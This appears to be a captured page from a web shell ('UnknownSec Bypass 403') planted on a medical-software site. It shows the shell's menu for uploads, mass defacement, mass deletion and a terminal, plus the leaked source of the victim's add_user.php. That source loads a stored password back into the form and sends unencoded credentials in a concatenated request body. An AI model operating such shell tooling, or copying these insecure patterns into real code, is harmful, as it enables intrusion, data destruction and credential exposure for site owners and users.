UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
add_user.php
<?php include "top1.php";?> <!-- /inner_content--> <div class="inner_content"> <!-- /inner_content_w3_agile_info--> <!-- breadcrumbs --> <div class="w3l_agileits_breadcrumbs"> <div class="w3l_agileits_breadcrumbs_inner"> <ul> <li><a href="dashboard.php">Dashboard</a><span>«</span></li> <li>Add User </li> </ul> </div> </div> <!-- //breadcrumbs --> <div class="inner_content_w3_agile_info two_in"> <table width="100%"> <tr> <td width="70%"> <h2 class="w3_inner_tittle">MANAGE USER</h2> </td> <td width="30%" align="right"><a href="list_userlist.php" class="btn btn-primary"><i class="fa fa-list"></i> User List</a></td> </tr> </table> <!--/forms--> <div class="forms-main_agileits"> <!--/forms-inner--> <div class="forms-inner"> <!--/set-1--> <div class="set-1_w3ls"> <div class="col-md-12 button_set_one two agile_info_shadow graph-form"> <!-- <h3 class="w3_inner_tittle two">Inline Form </h3> --> <div class="grid-1"> <div class="form-body"> <div data-example-id="simple-form-inline"> <input type="hidden" name="hdID" id="hdID" /> <div class="form-inline"> <div class="col-md-6 form-group"> <p style="margin-top: 20px"></p> <label for="txtName">Name</label> <input class="form-control" name="txtName" id="txtName" type="text" placeholder="Ex. Sanjeev Kumar Singh" style="width:100%;" required /> </div> <div class="col-md-6 form-group"> <p style="margin-top: 20px"></p> <label for="txtMobileNo">Mobile No.</label> <input class="form-control" name="txtMobileNo" id="txtMobileNo" type="number" placeholder="Ex. 9999999999" style="width:100%;" required /> </div> </div> <div class="form-inline"> <div class="col-md-6 form-group"> <p style="margin-top: 20px"></p> <label for="txtUserName">User Name</label> <input class="form-control" name="txtUserName" id="txtUserName" type="text" placeholder="Ex. Sanjeev.mca23" style="width:100%;" required /> </div> <div class="col-md-6 form-group"> <p style="margin-top: 20px"></p> <label for="txtPassword">Password</label> <input class="form-control" name="txtPassword" id="txtPassword" type="password" placeholder="Ex. password@123" style="width:100%;" required /> </div> </div> <div class="form-inline"> <div class="col-md-12 form-group"> <p style="margin-top: 20px"></p> <label for="ddlUserRole">User Role</label> <select class="form-control1" name="ddlUserRole" id="ddlUserRole" style="width:100%; font-size:14px;"> <option value="-">-</option> <option value="User">User</option> <option value="AppointmentUser">AppointmentUser</option> <option value="Admin">Admin</option> </select> </div> </div> <div class="form-inline"> <div class="col-md-12 form-group" align="center"> <p style="margin-top: 20px"></p> <button class="btn btn-primary" id="btnuser" onclick="SaveUser();">Save</button> </div> </div> </div> </div> </div> </div> <div class="clearfix"> </div> </div> <!--//set-1--> </div> <!--//forms-inner--> </div> <!--//forms--> </div> <!-- //inner_content_w3_agile_info--> </div> <!-- //inner_content--> </div> <!-- banner --> <?php include "footer.php";?> <script type="text/javascript"> $(document).ready(function() { getuserdetails(); }); function getuserdetails() { var id = getUrlVars()['id']; var op = getUrlVars()['op']; if (jQuery.type(id) == "undefined") { return; } if (id != "") { $.ajax({ method: 'POST', url: 'get_user_details.php', data: '&id=' + id, dataType: "JSON", success: function(data) { $('#hdID').val(data.id); $('#txtName').val(data.uname); $('#txtMobileNo').val(data.mobileno); $('#txtUserName').val(data.username); $("#txtUserName").prop('disabled', true); $('#txtPassword').val(data.password); $('#ddlUserRole').val(data.userrole); if (op == "Edit") { $('#btnuser').text("Update"); } else if (op == "Active") { $('#btnuser').text("DeActive"); } else if (op == "DeActive") { $('#btnuser').text("Active"); } } }); } } function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } function SaveUser() { var flag = true; var inputField1 = document.getElementById("txtName"); if (inputField1.value == "") { flag = false; alert("Please enter name."); document.getElementById("txtName").focus(); return false; } var inputField2 = document.getElementById("txtMobileNo"); if (inputField2.value == "") { flag = false; alert("Please enter mobile no."); document.getElementById("txtMobileNo").focus(); return false; } var inputField3 = document.getElementById("txtUserName"); if (inputField3.value == "") { flag = false; alert("Please enter user name."); document.getElementById("txtUserName").focus(); return false; } var inputField4 = document.getElementById("txtPassword"); if (inputField4.value == "") { flag = false; alert("Please enter password."); document.getElementById("txtPassword").focus(); return false; } var inputField5 = document.getElementById("ddlUserRole"); if (inputField5.value == "-") { flag = false; alert("Please select user role."); document.getElementById("ddlUserRole").focus(); return false; } var uname = document.getElementById("txtName").value; var mobileno = document.getElementById("txtMobileNo").value; var username = document.getElementById("txtUserName").value; var password = document.getElementById("txtPassword").value; var userrole = document.getElementById("ddlUserRole").value; var id = document.getElementById("hdID").value; var btntext = document.getElementById("btnuser").innerHTML; // var canteen = document.getElementById("hdcanteen").value; // var userid = document.getElementById("hduserid").value; var text = "Do you want " + btntext + " user details"; if (confirm(text) == false) { flag = false; return false; } try { if (flag == true) { var urlgetcode = 'user_save_update.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&uname=' + uname + '&mobileno=' + mobileno + '&username=' + username + '&password=' + password + '&userrole=' + userrole + '&btntext=' + btntext + '&userid=' + id, dataType: 'json', async: true, cache: false, success: function(msg) { if (msg == "1") { alert("Save Successfully"); $('#hdID').val(""); $('#txtName').val(""); $('#txtMobileNo').val(""); $('#txtUserName').val(""); $('#txtPassword').val(""); $('#ddlUserRole').val("-"); $('#btnuser').text("Save"); window.location.href = "list_userlist.php"; } else if (msg == "2") { alert("Already Exist"); $('#hdID').val(""); $('#txtName').val(""); $('#txtMobileNo').val(""); $('#txtUserName').val(""); $('#txtPassword').val(""); $('#ddlUserRole').val("-"); $('#btnuser').text("Save"); window.location.href = "add_user.php"; } else if (msg == "3") { alert("Update Successfully"); $('#hdID').val(""); $('#txtName').val(""); $('#txtMobileNo').val(""); $('#txtUserName').val(""); $('#txtPassword').val(""); $('#ddlUserRole').val("-"); $('#btnuser').text("Save"); window.location.href = "list_userlist.php"; } else if (msg == "4") { alert("User Name Active Successfully"); $('#hdID').val(""); $('#txtName').val(""); $('#txtMobileNo').val(""); $('#txtUserName').val(""); $('#txtPassword').val(""); $('#ddlUserRole').val("-"); $('#btnuser').text("Save"); window.location.href = "list_userlist.php"; } else if (msg == "5") { alert("User Name DeActive Successfully"); $('#hdID').val(""); $('#txtName').val(""); $('#txtMobileNo').val(""); $('#txtUserName').val(""); $('#txtPassword').val(""); $('#ddlUserRole').val("-"); $('#btnuser').text("Save"); window.location.href = "list_userlist.php"; } }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } </script>
Copyright © 2025 - UnknownSec